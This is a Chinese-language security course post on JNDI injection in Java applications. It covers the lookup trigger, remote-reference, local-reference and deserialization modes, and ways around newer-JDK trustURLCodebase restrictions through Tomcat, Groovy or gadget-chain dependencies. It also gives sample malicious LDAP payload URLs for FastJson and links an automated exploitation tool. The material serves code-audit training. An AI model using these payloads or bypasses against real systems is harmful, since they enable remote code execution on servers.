JavaEE开发篇&JNDI注入&高版本绕过&组件利用&LDAP服务&RMI服务

Ethan医生10个月前代码审计337




#JNDI注入-低版本-原生开发&触发模式

-重要知识:

1、JNDI,LDAP,RMI,反序列化关系

2、LDAP,RMI利用时JDK版本限制

3、JDK高版本绕过方法的所需条件

注:前面2个知识点可以参考第37天直播内容

 

-原生开发

String jndi="ldap://xx.xx.xx.xx/xx";

InitialContext initialContext = new InitialContext();

initialContext.lookup(jndi);

 

-触发模式

1、远程引用模式(基于JDK版本)

2、本地引用模式(基于依赖Jar)

3、反序列化模式(基于gadget链)

针对JDK版本的jndi注入

针对依赖jar包的jndi注入

针对gadget链的jndi注入

 

#JNDI注入-高版本-反序列化&FastJson

参考文章:https://paper.seebug.org/942/

参考文章:https://tttang.com/archive/1405

1、原生开发RMI高版本绕过:(利用依赖jar包绕过)

com.sun.jndi.rmi.object.trustURLCodebase、

com.sun.jndi.cosnaming.object.trustURLCodebase的默认值变为false,

即不允许从远程的Codebase加载Reference工厂类,不过没限制本地加载类文件。

-Tomcat依赖

-Groovy依赖

-其他依赖(见参考)

 

2、原生开发LDAP高版本绕过:(利用反序列化链绕过(也要依赖包))

com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被调整为false,

导致LDAP远程代码攻击方式开始失效。这里可以利用javaSerializedData属性,

当javaSerializedData属性value值不为空时,本地存在反序列化利用链时触发。

-反序列化链(借助链)

-其他依赖链(见参考)

 

3、FastJson组件LADP高版本绕过:

-利用今天讲到的gadget链去打高版本

ldap://127.0.0.1:6666/exp

ldap://192.168.1.4:1389/deserialCommonsCollections7

 

-自动化项目(解决几个组件的反序列化的注入高版本问题)

https://github.com/exp1orer/JNDI-Inject-Exploit

 

JNDI注入高版本的绕过:

看依赖jar包(反序列化链也是看依赖jar包)

具体那些可以:Tomcat Groovy CC

参考:https://tttang.com/archive/1405


标签: JavaEEJNDI

相关文章

PHP框架开发篇&Yii反序列化&POP利用链&某达OA&某商城&CVE分析

参考资料:CVE-2020-15148漏洞分析https://www.extrader.top/posts/c79847eehttps://www.anquanke.com/post/id/25442...

IAST&SAST项目篇&CodeQL拓展&火线洞态&Agent部署&DevSecOps

IAST&SAST项目篇&CodeQL拓展&火线洞态&Agent部署&DevSecOps

#SAST-CodeQL&CodeQLpy-JAVA测评:若依系统&Tmall商城在官方规则引擎下升级Java检测https://github.com/webraybtl/codeQl...

JavaEE开发篇&原生反序列化&CB链&CC链&Ysoserial链&字节码加载

JavaEE开发篇&原生反序列化&CB链&CC链&Ysoserial链&字节码加载

#补充JS逆向浏览器插件Hook JS算法脚本1、安装Tampermonkey(扶墙谷歌商店安装)2、添加和启用JS插件3、测试登录看控制台脚本地址:https://github.com/Captai...

代码审计-Web3安全&智能合约&区块链&Solidity开发&msg和tx&编码加密&Web3.js

代码审计-Web3安全&智能合约&区块链&Solidity开发&msg和tx&编码加密&Web3.js

https://github.com/ethanyu630/WTF-Solidity/**调用时发送了ETH|判断 msg.data 是否为空/ \是 否是否存在 receive fallbak()/...

JavaEE开发篇&FastJson反序列化&利用链跟踪&动态调试&autoType绕过

JavaEE开发篇&FastJson反序列化&利用链跟踪&动态调试&autoType绕过

#FastJson反序列化链知识点1、为什么触发方法会存在反序列化?2、利用链为什么要那样写才能触发?3、高版本中有哪些防御手段又怎么绕过的? #FastJson反序列化链分析基础参考:ht...

ASP.NET开发篇&DLL反编译&动态调试&EXE逆向&鉴权逻辑&脆弱验证

#DLL反编译工具:dnSpy = ILSpy => Reflectorhttps://github.com/dnSpy/dnSpyhttps://github.com/icsharpcode/...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。